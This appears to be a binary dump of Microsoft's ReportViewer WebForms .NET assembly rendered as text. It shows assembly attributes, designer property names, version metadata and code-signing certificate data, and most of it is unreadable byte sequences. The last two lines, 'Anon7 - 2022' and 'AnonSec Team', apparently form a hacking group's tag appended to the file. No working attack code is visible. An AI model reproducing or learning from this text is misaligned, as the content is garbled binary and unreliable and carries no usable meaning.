 @MM.System.Security.Permissions.ReflectionPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089TMemberAccess q@
    55
	

 11.System.Security.Permissions.ReflectionPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089  ! % )0
	9=
P A\	M l)h M M	M5III	5I
 	 E!
5
 5h	hh I 
U 	M MMMM<< 
MM III \ a]  ]-iem	 m#YYae-  	M,
	  


1D
8888
PPPP
XXXX5D
5
x q	q u	u u5 eP\5T5hlT5D!55l 


 y`5` }
	 U
1  5   5
! 

  
1
I	
II15E	M 
 
 MM	 
$, M

$	@@=@
HHHH)
 )
4   	L55	<<\
	\P8 ReportViewerDescriptionMicrosoft.Reporting.WebForms.ReportViewerDesigner, Microsoft.ReportViewer.WebDesign, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aA
M		MM
Q





<
D	 hhDhI
 L  Dh

@@@@

5555

((((
< 
MMMM  
\
p5p	5l
0E"4EE5E5dddlhDocMapCollapsedDesc
AppearanceShowToolBarDescShowParameterPromptsDescShowCredentialPromptsDescPromptAreaCollapsedDescShowReportBodyDescDocMapWidthDescvmSystem.Web.UI.WebControls.Unit, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a25%ShowDocumentMapButtonDescShowPromptAreaButtonDescShowPageNavigationDescToolBarCategoryDescShowBackButtonDescShowRefreshButtonDescShowPrintButtonDescShowExportButtonDescShowZoomButtonDescShowFindButtonDesctgSystem.Drawing.Color, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a#ECE9D8WaitMessageFontDescInternalBorderStyleDesc~UtSystem.Web.UI.WebControls.BorderStyle, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aInternalBorderColorDesctgSystem.Drawing.Color, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a#CCCCCCInternalBorderWidthDescvmSystem.Web.UI.WebControls.Unit, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a1pxToolBarItemBorderStyleDescToolBarItemBorderColorDesctgSystem.Drawing.Color, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a#336699ToolBarItemBorderWidthDesc61The report viewer no longer uses pressed buttons."ToolBarItemHoverBackColorDesctgSystem.Drawing.Color, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a#DDEEF7tgSystem.Drawing.Color, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a#99BBE2LinkDisabledColorDescqgSystem.Drawing.Color, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aGrayLinkActiveColorDesctgSystem.Drawing.Color, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a#3366CCLinkActiveHoverColorDesctgSystem.Drawing.Color, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a#FF3300SizeToContentDescProcessingModeDesc5U+Microsoft.Reporting.WebForms.ProcessingModeServerReportDescLocalReportDescPageCountModeDesc4U*Microsoft.Reporting.WebForms.PageCountModeZoomModeDesc/U%Microsoft.Reporting.WebForms.ZoomModeZoomPercentDescdAsyncRenderingDesc WaitControlDisplayAfterDesc"ShowWaitControlCancelLinkDescHyperlinkTargetDesc	_topContentDispositionDesc9U/Microsoft.Reporting.WebForms.ContentDisposition"InteractivityPostBackModeDesc@U6Microsoft.Reporting.WebForms.InteractivityPostBackModexmSystem.Web.UI.WebControls.Unit, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a400pxKeepSessionAliveDescPageNavigationEventDesc
BackEventDescDocMapEventDescBookmarkEventDescToggleEventDescDrillthroughEventDesc
SortEventDescSearchEventDescRefreshEventDescErrorEventDesc-(SubmittingDataSourceCredentialsEventDesc'"SubmittingParameterValuesEventDescHDh
hhhhhh	   iMM

  MMMMMMMMMLX`XX    m}yDy959}5 
qI



 MMMMM 
08$  I 	 
II II 	  II(II ) 			  			 M+
*
 SelectedDateM	Data" Use short format of DateTime	*%Difference between UTC and local time10111110Valid values: from 0 to 6.0 Valid values: from -3 to 3.Valid values: from 0 to 2.
VisibilityPickerValue betweeen -12 and 0Value betweeen 0 and 123.Full or web relative path to images location. ?:Name of javascipt function used as onClick event handler. 	5 
	 MIM			1@	q@	u@@u@	8@@	@	@@@] 9 9 E	 E5E5 E!=iA

.System.Security.Permissions.PermissionSetAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089TName	FullTrust	IQ I		 


I	II9
I
9}y

q}   


 
   	 
   		9}yqy
99	(#Microsoft.ReportViewer.WebForms.dllMicrosoft Corporation)$Microsoft (R) Visual Studio (R) 20103.© Microsoft Corporation. All rights reserved.10.0.40219.1
10.0.0.0
en-US*%f:\dd\tools\devdiv\FinalPublicKey.snkTWrapNonExceptionThrows'Microsoft.Reporting.WebFormsrswebrlMicrosoft.ReportViewer.WebDesign, PublicKey=002400000480000094000000060200000024000052534131000400000100010007D1FA57C4AED9F0A32E84AA0FAEFD0DE9E8FD6AEC8F87FB03766C834C99921EB23BE79AD9D5DCC1DD9AD236132102900B723CF980957FC4E177108FC607774F29E8320E92EA05ECE4E821C0A5EFE8F1645C4C0C93C1AB99285D622CAA652C1DFAD63D745D6F2DE5F17E5EAF0FC4963D261C8A12436518206DC093344D5AD293_Mx xz RSDSG(KEZ,ff:\dd\ndp\fx\src\Reporting\src\ViewerControls\WebForm\Build\obj2r\i386\Microsoft.ReportViewer.WebForms.pdb$ >  0 _CorDllMainmscoree.dll% 0HX tt4VS_VERSION_INFO

?DVarFileInfo$TranslationStringFileInfo000004b0`$CommentsMicrosoft.ReportViewer.WebForms.dllLCompanyNameMicrosoft Corporationp$FileDescriptionMicrosoft.ReportViewer.WebForms.dll<
FileVersion10.0.40219.1h$InternalNameMicrosoft.ReportViewer.WebForms.dll.LegalCopyright Microsoft Corporation. All rights reserved.p$OriginalFilenameMicrosoft.ReportViewer.WebForms.dlll%ProductNameMicrosoft (R) Visual Studio (R) 2010@
ProductVersion10.0.40219.1<	Assembly Version10.0.0.0 P90m	*H
^0Z10	+0h
+7Z0X03
+70% <<<Obsolete>>>0!0	+Wv<I7_DJ3f:N10`0L
.P\0	+0p1+0)U"Copyright (c) 1997 Microsoft Corp.10UMicrosoft Corporation1!0UMicrosoft Root Authority0
070822223102Z
120825070000Z0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0"0
	*H
0
y}]E941%5IwEqFԌkLRbMIl/$>e#HuEP%+
#A$bEJͳ/"J-|o;99ݽ)f;-2'Hlc\򸔣8P'N0==l9.4.
}bxfs
 Oc,2EJ;PSfQyV>Pn5{$Rf=N+~3nGўJnS00U%0
+0U0[pir#Q~Mˡr0p1+0)U"Copyright (c) 1997 Microsoft Corp.10UMicrosoft Corporation1!0UMicrosoft Root Authority<<>c@0U00Uvp[NQD.Dc0U0	+{~J&μNtX't*uLxMi|CʇSŸVocDDȚ
)}s9=j8m҈#i	4|.)Bk(q8
]hͽAkf4|zB{
p֒O8|-=4b7j#\cZ9`U3;_,˫ 0 
*RA^0(ip΀Brv0z0b
a>0
	*H
0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0
091207224029Z
110307224029Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR10UMicrosoft Corporation0"0
	*H
0
0ErSkO#=Y@8s&S<B8auM\F^i[s)DdY/]nǫ9eħuꇗ&&v89&+ZT!򗍇)I,?}͖
qB5׸?ݎE
}K[vrw#}5]PKGmUTN؁B1U
SI0奈|^zZ7i2$00U%0
+0U8xs2_Uƙt0U0U#0vp[NQD.Dc0DU=0;09753http://crl.microsoft.com/pki/crl/products/CSPCA.crl0H+<0:08+0,http://www.microsoft.com/pki/certs/CSPCA.crt0
	*H
(
oBvCB$e4uq0r7:pQ q(ps{V4ZrN
{DOaun+Z
9`jT;1_,nM*v{Ƈֱ*rTn*ȞobKk=/zw9gj{cI&Bޕ"_s2r6)$ROfH&9iPNl.r!m$H@|t8JO00jO%EXzg0
	*H
0p1+0)U"Copyright (c) 1997 Microsoft Corp.10UMicrosoft Corporation1!0UMicrosoft Root Authority0
060916010447Z
190915070000Z0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Timestamping PCA0"0
	*H
0
7nBJqH>S,2ORȃ>3I1(dPKuǨծipfx'f趷Y")/@VvmdmJT޿ǀL7VhGv\/}%V[jc|<%M9wt]\؆7,u9	|vlnz>q_*Ob`2҃N+"\hE/Pl%ׅvs6ƕz`3[AXn,HoCj&k(0$0U%0
+0U0[pir#Q~Mˡr0p1+0)U"Copyright (c) 1997 Microsoft Corp.10UMicrosoft Corporation1!0UMicrosoft Root Authority<<>c@0	+70UoN?4K;AC0	+7
SubCA0U0U00
	*H
M1|PapEsT?	-QS9Vތ;ɷQ!oi~k"Flm|"Fӄ6~p]Eݎ*|ɮ2Շc6!v;s!شTeJ(&`;exHϭ:ObX099!dcC/{FeJtn̝(a|H!8Ŗ2@S=f7"̰wTQ:rD#00
a-	0
	*H
0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Timestamping PCA0
080725190217Z
130725191217Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:7A82-688A-9F921%0#UMicrosoft Time-Stamp Service0"0
	*H
0

 BQzٕ܇7(vMPv*GVi~MquۻCloq+|Δź~a-0&-v?F؉7[hd֋=vP'`]),<ϥZ5O8a?=6Vw;]7'c,HUl+~w$*p*$Ţ"KLYwTrC>dݓXI	63~Ly2Y)<?F;00U(;ڔ}F~0U#0oN?4K;AC0DU=0;09753http://crl.microsoft.com/pki/crl/products/tspca.crl0H+<0:08+0,http://www.microsoft.com/pki/certs/tspca.crt0U%0
+0U0
	*H
҈f)Z~\$Ykׇ˵v"ʴA7H7p3(t(u*	Oߘ?4ܺdNP;L%ՖKA]W}vzo _0$~a))I:CՃO,5;AAIB{-])ᾍv`'ocB(X:;@̒WFVk˒MV0@EN(Qw&	:E1000y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA
a>0	+0	*H
	1
+70
+710
+70#	*H
	1uS`5Jm/׋0r
+71d0bHFMicrosoft.ReportViewer.WebForms.dllhttp://microsoft.com0
	*H
J5+]&%ы1gD{ƥ0#j~x-Xċk7f8	 rF*=8;g0ؤl8^(J/{GVrGV|w@:ćIK9bo襤X6ߖܾZ_!_81@Qh_L
&Fl{8uMkӋӫG	W
HTG<0PHloԇ	@{$ej0	*H
	1000y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Timestamping PCA
a-	0+]0	*H
	1	*H
0	*H
	1
110220123742Z0#	*H
	1sYs,`fbqDX,\0
	*H
vs5藆y7u$T;~,eeNڑ1M5^Rݲ:_5P15aq608~96@PfV'.L
{%\L{MљћE'EMAg+A[Ȧ]n$}oeҋ:u"f@fUuD7|a0YM輣_bs:}G
8tcB$j@(I5:f"VQ?S<

Anon7 - 2022
AnonSec Team